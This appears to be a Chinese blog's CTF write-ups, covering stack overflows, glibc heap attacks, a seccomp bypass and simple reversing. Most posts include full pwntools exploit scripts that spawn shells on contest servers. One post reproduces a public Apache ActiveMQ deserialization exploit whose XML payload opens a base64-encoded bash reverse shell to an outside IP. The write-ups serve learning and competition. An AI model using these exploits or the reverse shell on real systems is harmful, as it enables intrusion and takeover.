快来和我贴贴qaq
post @ 2024-02-25

pwn

[签到]stack

题目逻辑是这样的,其实就是找一个比 0x58 大很多,低一个字节小于 0x40的数,就能溢出了

char *run()
{
  char buf[76]; // [rsp+0h] [rbp-50h] BYREF
  size_t nbytes; // [rsp+4Ch] [rbp-4h]

  printf("Give me the length: ");
  LODWORD(nbytes) = get_int();
  if ( (unsigned __int8)nbytes > 0x40u )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Give me your command: ");
  read(0, buf, (unsigned int)nbytes);
  return strdup(buf);
}

有一个 backdoor 函数,然后我看了一下没有 rdi的gadget

int __fastcall backdoor(const char *a1)
{
  if ( strncmp(a1, "give me flag", 0xCuLL) )
    return puts("Nope!");
  puts("You got!");
  return system(a1);
}

但是在call system前,因为strdup了一次 rax寄存器是一个堆上的地址,内容和read进去的数据一模一样的,所以可以构造一个 /bin/sh\x00 …… 这样一个payload,在 mov rdi,rax的时候就会取到binsh的地址,最后syscall

.text:00000000004011F0 48 8B 45 F8                   mov     rax, [rbp+s1]
.text:00000000004011F4 48 89 C7                      mov     rdi, rax                        ; command
.text:00000000004011F7 E8 64 FE FF FF                call    _system
.text:00000000004011F7

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "yuanshen.life"
PORT = 33074

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# 313

backdoor = 0x4011F4

payload = b'/bin/sh\x00' +b'a' * (0x50)
payload += p64(backdoor)


sla("Give me the length: ","313")
# g(p)
sa("Give me your command: ",payload)

p.interactive()
Read More
post @ 2024-02-14

唉咱好菜,就出了一题

HappyCTF

public vuln
vuln proc near

buf= byte ptr -110h
var_8= qword ptr -8

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 110h
lea     rax, aNowPlzYouInput ; "Now,plz you input:"
mov     rdi, rax        ; s
call    _puts
lea     rax, [rbp+buf]
mov     edx, 100h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+buf]
mov     [rbp+var_8], rax
mov     rdx, [rbp+var_8]
mov     eax, 0
call    rdx
nop
leave
retn
; } // starts at 401355
vuln endp

有一个沙箱,白名单,有read 和 write 但是没有open,搜了一段时间发现,fstat的系统调用号是5,32位下 open的系统调用也是5,沙箱没有对架构做检查

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x15 0x00 0x01 0x00000005  if (A != fstat) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL

用32位的open 配合 64 位的 read write 打orw

切换成32 位的模式要用 retf,retf等价于 pop cs ; pop rip,因为栈地址是不知道的需要迁移一下,所以在切换前用mmap分配一段有rwx的内存,往上面写open retfq(32 to 64) read write的shellcode,然后retf切换模式 同时mov rsp迁移过去。

因为64位下 push是以八字节为单位push的,retf 在 (pop ip;pop cs)的时候是以四字节为单位pop的,所以不能直接push,可以通过 mov [rsp],eax mov [rsp + 4],eax 这种方式 或者 dword ptr来 “push”

retf 用 pwntools中的asm编译不了,可以用nasm编译,objdump -d 去提取字节码

;;nasm -f elf64 test.asm 
;;ld -m elf_x86_64 -o test test.o
global _start
_start:
    retf
Read More
post @ 2024-02-14

pwn

Elden Ring Ⅱ

一个heap manager相关的题目,glibc 2.31,没有pie,包括add edit show delete四个功能,在delete这里有一个uaf

void delete_note()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index: ");
  __isoc99_scanf("%u", &v0);
  if ( v0 <= 0xF )
  {
    if ( notes[v0] )
      free((void *)notes[v0]);
    else
      puts("Page not found.");
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
}

通过uaf 去写 tcache 的 next指针为 puts_got的地址,分配到put_got上,用show去泄露libc_base,然后写free_hook为system,去free一块 内容是/bin/sh的堆

from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "47.100.137.175"
PORT = 31853

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size):
    sla(">","1")
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def delete_note(idx):
    sla(">","2")
    sla("Index: ",str(idx))

def edit_note(idx,content):
    sla(">","3")
    sla("Index: ",str(idx))
    sa("Content: ",content)

def show_note(idx):
    sla(">","4")
    sla("Index: ",str(idx))

p = connect()


add_note(0,0x70)
add_note(1,0x70)

delete_note(0)
delete_note(1)

puts_got = elf.got['puts']

edit_note(1,p64(puts_got))
add_note(2,0x70)
add_note(3,0x70)

show_note(3)

libc_base = r_leak_libc_64() - libc.sym['puts']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(libc_base))
success(hex(free_hook))

add_note(4,0x70)
add_note(5,0x70)
delete_note(4)
delete_note(5)

edit_note(5,p64(free_hook))

add_note(6,0x70)
add_note(7,0x70)

edit_note(7,p64(system))
edit_note(6,b'/bin/sh')

delete_note(6)


# g(p)




p.interactive()

fastnote

咱好笨,想了好久才做出来,学到新思路了

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%u", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3u:
          delete();
          break;
        case 1u:
          add();
          break;
        case 2u:
          show();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else
  {
    ptr = (void *)notes[v1];
    if ( ptr )
    {
      free(ptr);
      ptr = 0LL;
    }
    else
    {
      puts("No such note.");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}
Read More
post @ 2024-02-11

pwn

pwn1

glibc 2.31 有pie,choice 10能分一个很大的堆块,所以思路是把tcache填满,然后free掉一个大堆块,通过unsortedbin去泄露libc的地址,然后通过tcache bin attack去写free hook为system,再去free掉一块内容为binsh的堆 触发system(/bin/sh)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-1BCh] BYREF
  int v5; // [rsp+8h] [rbp-1B8h] BYREF
  int v6; // [rsp+Ch] [rbp-1B4h]
  char *v7; // [rsp+10h] [rbp-1B0h]
  char *s; // [rsp+18h] [rbp-1A8h]
  void *ptr[52]; // [rsp+20h] [rbp-1A0h]

  ptr[51] = (void *)__readfsqword(0x28u);
  init(argc, argv, envp);
  v6 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            menu();
            __isoc99_scanf("%d", &v4);
            getchar();
            if ( v4 != 1 )
              break;
            s = (char *)malloc(0x28uLL);
            puts("Enter the note");
            fgets(s, 10, stdin);
            puts("Note created");
            ptr[v6++] = s;
          }
          if ( v4 != 2 )
            break;
          puts("Which note do you want to delete?");
          __isoc99_scanf("%d", &v5);
          getchar();
          if ( v6 < v5 )
            goto LABEL_15;
          free(ptr[v5 - 1]);
        }
        if ( v4 != 3 )
          break;
        puts("Which note do you want to edit?");
        __isoc99_scanf("%d", &v5);
        getchar();
        if ( v6 < v5 )
        {
LABEL_15:
          puts("Invalid choice");
        }
        else
        {
          fgets((char *)ptr[v5 - 1], 100, stdin);
          puts("Note edited");
        }
      }
      if ( v4 != 4 )
        break;
      puts("Which note do you want to read?");
      __isoc99_scanf("%d", &v5);
      getchar();
      if ( v6 < v5 )
        goto LABEL_15;
      puts((const char *)ptr[v5 - 1]);
    }
    if ( v4 == 5 )
      return 0;
    if ( v4 == 10 )
    {
      v7 = (char *)malloc(0x4B0uLL);
      puts("Enter the note");
      fgets(v7, 10, stdin);
      puts("Note created");
      ptr[v6++] = v7;
    }
  }
}

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "20.55.48.101"
PORT = 1339

elf = context.binary = ELF('./chall')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_note(idx):
    ru("5. Exit\n")
    sl("1")
    sla("Enter the note",str(idx))

def delete_note(idx):
    ru("5. Exit\n")
    sl(b"2")
    sla("Which note do you want to delete?",str(idx + 1))

def edit_note(idx,data):
    ru("5. Exit\n")
    sl(b"3")
    sla("Which note do you want to edit?",str(idx + 1))
    sl(data)

def read_note(idx):
    ru("5. Exit\n")
    sl(b"4")
    sla("Which note do you want to read?",str(idx + 1))

def create_big_note(idx):
    ru("5. Exit\n")
    sl(b"10")
    sla("Enter the note",str(idx))

p = connect()

for i in range(7):
    create_note(i)

create_big_note(7)
create_note(8)

for i in range(7):
    delete_note(i)

delete_note(7)
# g(p)

read_note(7)
libc_base = r_leak_libc_64() - (0x7f874aedebe0 - 0x7f874acf3000)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"libc_base ->{hex(libc_base)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"system ->{hex(system)}")
# g(p)

for i in range(7):
    create_note(i)
create_big_note(7)


delete_note(0)
delete_note(1)

edit_note(1,p64(free_hook))
create_note(1)
create_note(2)
edit_note(18,p64(system))

create_note(2)
edit_note(2,b'/bin/sh')
delete_note(2)

p.interactive()
Read More
post @ 2024-02-07

re

ezASM

checkflag可以看出 cmp的逻辑是 异或0x22

section .data
    c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
    flag db 33 dup(0)
    format db "plz input your flag: ", 0
    success db "Congratulations!", 0
    failure db "Sry, plz try again", 0

section .text
    global _start

_start:
    ; Print prompt
    mov eax, 4
    mov ebx, 1
    mov ecx, format
    mov edx, 20
    int 0x80

    ; Read user input
    mov eax, 3
    mov ebx, 0
    mov ecx, flag
    mov edx, 33
    int 0x80

    ; Check flag
    xor esi, esi
check_flag:
    mov al, byte [flag + esi]
    xor al, 0x22
    cmp al, byte [c + esi]
    jne failure_check

    inc esi
    cmp esi, 33
    jne check_flag

    ; Print success message
    mov eax, 4
    mov ebx, 1
    mov ecx, success
    mov edx, 14
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

failure_check:
    ; Print failure message
    mov eax, 4
    mov ebx, 1
    mov ecx, failure
    mov edx, 18
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

exp

a = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]

for i in a:
    print(chr(i ^ 0x22),end="")

ezPYC

pycdc 反编译发现反编译失败,使用pydas反编译查看逻辑

[Code]
    File Name: ezPYC.py
    Object Name: <module>
    Qualified Name: <module>
    Arg Count: 0
    Pos Only Arg Count: 0
    KW Only Arg Count: 0
    Stack Size: 5
    Flags: 0x00000000
    [Names]
        'flag'
        'c'
        'input'
        'range'
        'i'
        'ord'
        'print'
        'exit'
    [Locals+Names]
    [Constants]
        (
            87
            75
            71
            69
            83
            121
            83
            125
            117
            106
            108
            106
            94
            80
            48
            114
            100
            112
            112
            55
            94
            51
            112
            91
            48
            108
            119
            97
            115
            49
            112
            112
            48
            108
            100
            37
            124
            2
        )
        (
            1
            2
            3
            4
        )
        'plz input flag:'
        0
        36
        1
        4
        'Sry, try again...'
        'Wow!You know a little of python reverse'
        None
    [Disassembly]
        0       RESUME                        0
        2       BUILD_LIST                    0
        4       LOAD_CONST                    0: (87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2)
        6       LIST_EXTEND                   1
        8       STORE_NAME                    0: flag
        10      BUILD_LIST                    0
        12      LOAD_CONST                    1: (1, 2, 3, 4)
        14      LIST_EXTEND                   1
        16      STORE_NAME                    1: c
        18      PUSH_NULL
        20      LOAD_NAME                     2: input
        22      LOAD_CONST                    2: 'plz input flag:'
        24      PRECALL                       1
        28      CALL                          1
        38      STORE_NAME                    2: input
        40      PUSH_NULL
        42      LOAD_NAME                     3: range
        44      LOAD_CONST                    3: 0
        46      LOAD_CONST                    4: 36
        48      LOAD_CONST                    5: 1
        50      PRECALL                       3
        54      CALL                          3
        64      GET_ITER
        66      FOR_ITER                      62 (to 192)
        68      STORE_NAME                    4: i
        70      PUSH_NULL
        72      LOAD_NAME                     5: ord
        74      LOAD_NAME                     2: input
        76      LOAD_NAME                     4: i
        78      BINARY_SUBSCR
        88      PRECALL                       1
        92      CALL                          1
        102     LOAD_NAME                     1: c
        104     LOAD_NAME                     4: i
        106     LOAD_CONST                    6: 4
        108     BINARY_OP                     6 (%)
        112     BINARY_SUBSCR
        122     BINARY_OP                     12 (^)
        126     LOAD_NAME                     0: flag
        128     LOAD_NAME                     4: i
        130     BINARY_SUBSCR
        140     COMPARE_OP                    3 (!=)
        146     POP_JUMP_FORWARD_IF_FALSE     21
        148     PUSH_NULL
        150     LOAD_NAME                     6: print
        152     LOAD_CONST                    7: 'Sry, try again...'
        154     PRECALL                       1
        158     CALL                          1
        168     POP_TOP
        170     PUSH_NULL
        172     LOAD_NAME                     7: exit
        174     PRECALL                       0
        178     CALL                          0
        188     POP_TOP
        190     JUMP_BACKWARD                 63
        192     PUSH_NULL
        194     LOAD_NAME                     6: print
        196     LOAD_CONST                    8: 'Wow!You know a little of python reverse'
        198     PRECALL                       1
        202     CALL                          1
        212     POP_TOP
        214     LOAD_CONST                    9: None
        216     RETURN_VALUE

exp

Read More
post @ 2024-02-06

pwn

one_byte

刚刚好能覆盖返回地址一个字节,看了一下返回地址是一个libc的地址,29dxx,把29dxx附件的汇编看了一遍,没有很直接的输出函数,或者是跳转到输出函数的汇编,。那这时候的思路是把一个字节爆破一遍,把有输出的字节全部记录下来,最后发现在 \x89那回到了main函数,把下一位flag输出出来了

.text:0000000000029D89 48 8B 44 24 08                mov     rax, [rsp+98h+var_90]
.text:0000000000029D8E FF D0                         call    rax

mov rax [rsp + 8] 刚刚好取到了main函数的起始地址,然后由于输出flag是根据rbp 加一个偏移去取flag字符的地址,重新call flag的时候 rbp更新,刚刚好取到下边,太巧妙了

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "101.32.220.189"
PORT = 32371

elf = context.binary = ELF('./one_byte')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()


# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()
# g(p)
payload = b'a' * 0x11 + b'\x89'
flag = b''
for i in range(70):
    try:

        sa("Are you satisfied with the result?\n",payload)
        ru("gift: ")
        flag += r(1)
    except:
        pass


print(flag)

p.interactive()

unhappy

确实是unhappy,想了半天,限制了h用不了64位的寄存器,卡在写binsh那一步了,在想有什么方法可以写寄存器高三十二位,后面发现,能不能再syscall一次read,这样就能绕过前面的cmp了

爆破 哪些指令不能用的脚本

Read More
post @ 2024-01-31

唉,咱好菜,就出了两个题,ghostscript那个题调了半天没调通

Be-an-ActiveMq-Hacker

搜了一下 用网上的exp打通了

https://blog.csdn.net/weixin_49125123/article/details/135577221

import io
import socket
import sys


def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))

    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://192.168.0.101:8888/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xMzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

vision

问题出在 not Support 4 这里,在 strncmp这,

else
 {
   memset(s2, 0, sizeof(s2));
   v11 = strchr(a1, 32);
   if ( v11 )
   {
     strncpy(s2, a1, v11 - a1);
   }
   else
   {
     n = strlen(a1);
     strncpy(s2, a1, n);
   }
   v13 = strlen(s2);
   if ( v13 )
   {
     v7 = 0;
     v10 = off_4020[0];
     while ( strncmp(v10, s2, v13) )
     {
       v10 = off_4020[++v7];
       if ( !off_4020[v7] )
       {
         strcpy(a2, "Not Support 4. \n");
         return __readfsqword(0x28u) ^ v23;
       }
     }

这里的逻辑是,判断输入的字符串在不在命令列表里面,strncmp 需要一个大小的参数,来判断cmp多少字节,cmp成功后会先判断是不是一些预设的命令,如果不是就会传到下边popen那执行命令

Read More
post @ 2024-01-26

pwn

nc_pwnre

一个异或的逻辑, 异或后是一串base64编码,提交解码后的文本就进到shell了

a = [0x44,0x7c,0x5e,0x44,0x41,0x21,0x42,0x57,0x75,0x21,0x74,0x56,0x44,0x57,0x5d,0x67,0x44,0x46,0x29,0x45,0x5d,0x56,0x29,0x67,0x46,0x22,0x25,0x76,0x74,0x6a,0x52,0x69,0x5d,0x47,0x41,0x78,0x76,0x41,0x2d,0x2d]

for i in a:
    print(chr(i ^ 0x10),end="")
TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==

1705130191002

ret_text

__isoc99_scanf("%d", &v2);
 if ( v2 < 0 && (v2 = -v2, v2 < 0) )

-2147483648 进行 - 运算后会溢出,满足这个if的约束,能走到下边read,read那有一个栈溢出,覆盖返回地址为backdoor就好了

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ret_text_v0')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "node7.anna.nssctf.cn"
    port = 28070
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



payload = "-2147483648"

sla("Easy ret2text!!!Input:\n",payload)

payload = b'a' * (0x20 + 0x4) + p32(0x8049328)

sla("OK!!!You are right.\n",payload)

p.interactive()
Read More
post @ 2024-01-24

pwn

好菜,pwn就出了一个题,堆题做不出

nmanager

可以用printf %s泄露libc的地址,然后打ret2libc,n为8刚刚好到rbp那

unsigned __int64 __fastcall modify(__int64 a1)
{
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  do
  {
    puts("## select the idx you want modify ##");
    __isoc99_scanf("%d", &n);
    printf("gender: ");
    read(0, (void *)(120LL * n + a1), 0x20uLL);
    printf("age: ");
    __isoc99_scanf("%lld", 120LL * n + a1 + 32);
    printf("name: ");
    read(0, (void *)(120LL * n + a1 + 40), 0x40uLL);
    printf(
      "[idx%d]:\nname: %s\nage: %lld\ngender: %s\n",
      (unsigned int)n,
      (const char *)(120LL * n + a1 + 40),
      *(_QWORD *)(120LL * n + a1 + 32),
      (const char *)(120LL * n + a1));
    puts("quit now?(Y/y)");
    read(0, buf, 3uLL);
  }
  while ( buf[0] != 121 && buf[0] != 89 );
  return v3 - __readfsqword(0x28u);
}

exp

from pwn import *
from LibcSearcher import *
import ctypes

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./nmanager')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "8.147.131.194"
    port = 43635
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



ru(" ######################################################\n")

libc = ctypes.CDLL(None)
libc.srand(int(time.time()))
rand_result = libc.rand()
characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = characters[rand_result % 62]

ru("input password: ")
sl(password)


bss = 0x404000
ret = 0x000000000040101a
leave_ret = 0x40157f
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
check = 0x401585
printf = 0x4014F3


sla("## select the idx you want modify ##\n","8")

sa("gender: ","AAAAAAAA")
sla("age: ","123")
sa("name: ","nyyyddddn")

ru("AAAAAAAA")
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x29d90
success(f"{hex(libc_base)}")

libc = elf.libc
rdi = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

sa("quit now?(Y/y)\n","n")

sla("## select the idx you want modify ##\n","8")
payload = flat([
    bss,ret,rdi,binsh
])

sa("gender: ",payload)
sla("age: ",str(system))
sa("name: ","nyyyddddn")


# g(p)
sa("quit now?(Y/y)\n","y")

p.interactive()


book[未解决]

delete存在一个uaf

void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v0 = my_read();
  free(*((void **)&heap + v0));
}
Read More
post @ 2024-01-19

pwnable.tw

持续更新

start

检查一下保护 和查看每个段的权限发现,栈上有可执行权限

lhj@lhj-virtual-machine:~/Desktop/pwntw/start$ checksec start
[*] '/home/lhj/Desktop/pwntw/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/lhj/Desktop/pwntw/start/start
0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

查看了下题目逻辑,有一个输出一个输入,执行完输入后,add 0x14使得esp到 0x804809d(exit),然后ret执行 (exit)结束程序。可以发现输入大小是0x3c,是能覆盖返回地址的。如果能把栈的地址泄露出来的话,就能往栈上写shellcode,然后ret到shellcode那

Dump of assembler code for function _start:
   0x08048060 <+0>:     push   esp
   0x08048061 <+1>:     push   0x804809d
   0x08048066 <+6>:     xor    eax,eax
   0x08048068 <+8>:     xor    ebx,ebx
   0x0804806a <+10>:    xor    ecx,ecx
   0x0804806c <+12>:    xor    edx,edx
   0x0804806e <+14>:    push   0x3a465443
   0x08048073 <+19>:    push   0x20656874
   0x08048078 <+24>:    push   0x20747261
   0x0804807d <+29>:    push   0x74732073
   0x08048082 <+34>:    push   0x2774654c
   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4
   0x0804808f <+47>:    int    0x80
   0x08048091 <+49>:    xor    ebx,ebx
   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80
   0x08048099 <+57>:    add    esp,0x14
=> 0x0804809c <+60>:    ret

会发现执行到ret的时候 stack上有一个栈相关的地址,可以通过栈溢出覆盖返回地址调用 write来把esp打印出来泄露这个地址,泄露完后刚刚好又能再read一次,第二次read就写shellcode,然后把返回地址修改成shellcode的起始地址(用泄露出来的地址,gdb去查看这个地址和shellcode的偏移来算shellcode的地址),第二次read esp到返回地址之间的距离太短了,所以在返回地址后边写shellcode。shellcode的地址 = leak_addr + 0x14(esp距离返回地址的偏移)

0x08048087 <+39>:    mov    ecx,esp
0x08048089 <+41>:    mov    dl,0x14
0x0804808b <+43>:    mov    bl,0x1
0x0804808d <+45>:    mov    al,0x4
0x0804808f <+47>:    int    0x80
Read More
⬆︎TOP